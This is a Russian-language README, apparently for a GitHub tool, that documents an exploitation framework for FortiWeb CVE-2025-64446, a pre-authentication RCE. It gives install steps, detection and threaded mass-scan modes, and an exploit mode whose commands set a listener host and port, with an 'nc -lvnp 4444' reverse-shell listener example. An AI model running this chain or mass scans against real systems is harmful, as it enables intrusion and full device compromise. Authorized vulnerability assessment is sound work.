
Инструмент для исследования безопасности уязвимости FortiWeb CVE-2025-64446. Автоматизированная платформа эксплуатации с расширенным логированием, метриками в реальном времени, отладкой через прокси и профессиональной отчетностью. Включает логику повторов, многопоточность и настраиваемые параметры. Только для авторизованного тестирования безопасности. CVSS 9.8 Critical.
Профессиональный фреймворк для исследований в области безопасности и оценки уязвимостей
Установка · Быстрый старт · Использование · Архитектура · Справочник CLI · Отказ от ответственности
FortiWeb Research Tool — это Python-фреймворк для оценки, предназначенный для авторизованного обнаружения и анализа CVE-2025-64446 — критической проблемы удалённого выполнения кода до аутентификации, затрагивающей межсетевые экраны веб-приложений FortiWeb.
| Атрибут | Детали |
|---|---|
| Автор | Sudeepa Wanigarathna |
| CVE | CVE-2025-64446 |
| CVSS | 9.8 (Критический) |
| Класс | Обход аутентификации + обход пути → произвольная загрузка файлов → RCE |
| Затронутые версии | Сборки до 7.6.7 / 7.8.7 / 8.0.2 (сверьтесь с официальным бюллетенем) |
| Устранение | Обновитесь до исправленной версии FortiWeb |
| Язык | Python 3.7+ |
| Точка входа | exploit.py |
| Режим | Флаги | Назначение |
|---|---|---|
| Обнаружение | --detect-only | Не эксплуатационные индикаторы уязвимости |
| Безопасный / только чтение | --safe-mode | Пропуск шагов эксплуатации, изменяющих состояние |
| Массовое сканирование | --targets + --scan-mode | Параллельная оценка нескольких целей |
| Эксплуатация | --target + --lhost | Контролируемая цепочка только в авторизованных лабораториях |
| Пробный запуск | --dry-run | Проверка процесса без применения изменений |
| Отчётность | --output-dir | Отчёты о тестировании в форматах JSON + HTML |
| Поле | Значение |
|---|---|
| CVE ID | CVE-2025-64446 |
| Оценка CVSS | 9.8 (Критический) |
| Воздействие | Полная компрометация системы при успешной эксплуатации |
| Исправление | Обновитесь до 7.6.7, 7.8.7, 8.0.2 или более поздней версии |
Перед определением границ тестирования всегда сверяйте затронутые и исправленные версии с Fortinet PSIRT.
| Использование | Результаты сканирования |
|---|---|
![]() | ![]() |
| HTML-вывод |
|---|
![]() |
git clone https://github.com/CerberusMrXi/FortiWeb-cve-2025-64446-RCE-exploit
cd FortiWeb-cve-2025-64446-RCE-exploit
python3 -m venv venv
source venv/bin/activate # Linux / macOS
# venv\Scripts\activate # Windows
pip install -r requirements.txt
python3 exploit.py --help
| Пакет | Роль |
|---|---|
requests, urllib3 | HTTP-клиент |
rich, colorama, tqdm | Терминальный интерфейс и индикаторы прогресса |
pyyaml | Загрузка config.yaml |
Опционально (для разработки): pytest, black, flake8, mypy, python-dotenv — см. requirements.txt.
# Vulnerability check only (recommended first)
python3 exploit.py --target https://192.168.1.100:8443 --detect-only
# Safe / read-only checks
python3 exploit.py --target https://192.168.1.100:8443 --safe-mode
# Mass scanning
python3 exploit.py --targets targets.txt --scan-mode --threads 10
# Authorized exploitation (requires listener host)
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444
Примечание: Для режима эксплуатации требуется
--lhost. Используйте--detect-onlyили--safe-mode, если вы не планируете запускать полную цепочку.
python3 exploit.py --target https://192.168.1.100:8443 --detect-only
python3 exploit.py --target https://192.168.1.100:8443 --detect-only --verbose
python3 exploit.py --target https://192.168.1.100:8443 --safe-mode
python3 exploit.py --target https://192.168.1.100:8443 --detect-only --timeout 30
Режим обнаружения оценивает доступность цели, признаки версии, экспонирование API, индикаторы обхода пути, сигналы обхода аутентификации и доступность конечной точки загрузки. На основе этих индикаторов риск классифицируется как критический / высокий / средний / низкий.
cat > targets.txt << 'EOF'
https://192.168.1.100:8443
https://192.168.1.101:8443
https://192.168.1.102:8443
EOF
python3 exploit.py --targets targets.txt --scan-mode
python3 exploit.py --targets targets.txt --scan-mode --threads 20 --verbose
python3 exploit.py --targets targets.txt --scan-mode --output-dir ./reports
ScannerManager запускает рабочие процессы FortiWebScanner через пул потоков, выводит сводную таблицу Rich и записывает scan_report.json / scan_report.html.
# Start your listener first (example)
nc -lvnp 4444
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444 --proxy http://127.0.0.1:8080
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444 --dry-run
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444 --user-agent "Research/1.0"
# config.yaml
target: https://192.168.1.100:8443
lhost: 192.168.1.50
lport: 4444
timeout: 15
threads: 5
verify_ssl: false
verbose: true
proxy: http://127.0.0.1:8080
user_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
output_dir: reports
log_dir: logs
detect_only: false
safe_mode: false
dry_run: false
python3 exploit.py --config config.yaml
python3 exploit.py --config config.yaml --target https://10.0.0.1:8443 --lport 9999
Флаги CLI переопределяют значения, загруженные из YAML.
exploit.py
├── ExploitConfig / ExploitResult / RequestMetrics # dataclasses
├── LogManager # exploit.log, errors.log, requests.log
├── Banner / StatusDisplay # Rich / colorama UI
├── FortiWebScanner # detect-only checks (no exploit chain)
├── ScannerManager # threaded multi-target scans + reports
├── FortiWebExploit # single-target detect / exploit workflow
└── main() # argparse + mode dispatch
| Компонент | Ответственность |
|---|---|
FortiWebScanner | Проверки доступности, версии и индикаторов CVE |
ScannerManager | Параллельные сканирования, сводки JSON/HTML, сводная таблица |
FortiWebExploit | Сессия на основе конфигурации, повторные попытки, метрики, отчёты, опциональный путь эксплуатации |
LogManager | Структурированное журналирование в файлы и цветная консоль |
Общий процесс для одной цели:
reports/exploit.log, errors.log, requests.log--threads)--no-verify)reports/
├── report_YYYYMMDD_HHMMSS.json
├── report_YYYYMMDD_HHMMSS.html
├── scan_report.json
└── scan_report.html
logs/
├── exploit.log
├── errors.log
└── requests.log
{
"metadata": {
"tool_name": "FortiWeb Research Tool",
"version": "1.0",
"author": "Sudeepa Wanigarathna",
"timestamp": "2026-07-31T00:02:17",
"mode": "detect"
},
"target": {
"url": "https://192.168.1.100:8443",
"reachable": true,
"version": "7.6.0",
"vulnerable": true,
"risk_level": "Critical"
},
"metrics": {
"total_requests": 12,
"average_response_time": 0.42,
"success_rate": 0.91
}
}
python3 exploit.py [OPTIONS]
| Опция | Описание |
|---|---|
--target URL | Базовый URL одного FortiWeb |
--targets FILE | Список целей, разделённых переводами строк |
--lhost IP | Хост прослушивателя (обязателен для эксплуатации) |
--lport PORT | Порт прослушивателя (по умолчанию: 4444) |
--config FILE | Конфигурация YAML |
--detect-only | Только обнаружение; пропустить цепочку эксплуатации |
--scan-mode | Сканирование нескольких целей (требуется --targets) |
--safe-mode | Только чтение; пропустить изменяющие состояние шаги |
--dry-run | Пробный запуск без применения изменений |
--timeout SEC | Тайм-аут запроса (по умолчанию: 15) |
--threads N | Количество рабочих потоков сканирования (по умолчанию: 5) |
--proxy URL | HTTP-прокси |
--user-agent STR | Пользовательский User-Agent |
-v, --verbose | Подробное журналирование и вывод в консоль |
--no-verify | Отключить проверку TLS-сертификатов |
--output-dir DIR | Каталог отчётов (по умолчанию: reports) |
--log-dir DIR | Каталог журналов (по умолчанию: logs) |
-h, --help | Показать справку |
.
├── exploit.py # Research tool (detect / scan / exploit)
├── config.yaml # Example configuration
├── requirements.txt # Python dependencies
├── reports/ # Generated JSON / HTML reports
├── logs/ # Runtime logs
├── LICENSE
├── SECURITY.md
├── .gitignore
└── README.md
--detect-only / --safe-mode, чтобы убедиться в устранении уязвимости.Этот инструмент предназначен только для авторизованного тестирования безопасности, исследований и обучения.
Используя данное программное обеспечение, вы подтверждаете, что имеете разрешение, не будете злоупотреблять им и принимаете на себя полную ответственность за свои действия. Автор не несёт ответственности за неправомерное использование.
См. SECURITY.md для конфиденциального сообщения об уязвимостях, связанных с этим проектом.
git checkout -b feature/your-changeПожалуйста, проверяйте изменения только в авторизованных лабораторных средах и не добавляйте в коммиты данные реальных целей, cookie-файлы или учётные данные.
Лицензия MIT — см. LICENSE.
Copyright (c) 2026 Sudeepa Wanigarathna
| Автор | Sudeepa Wanigarathna |
| Issues | GitHub Issues для этого репозитория |
| Безопасность | См. SECURITY.md · [email protected] |
Только авторизованные исследования · FortiWeb CVE-2025-64446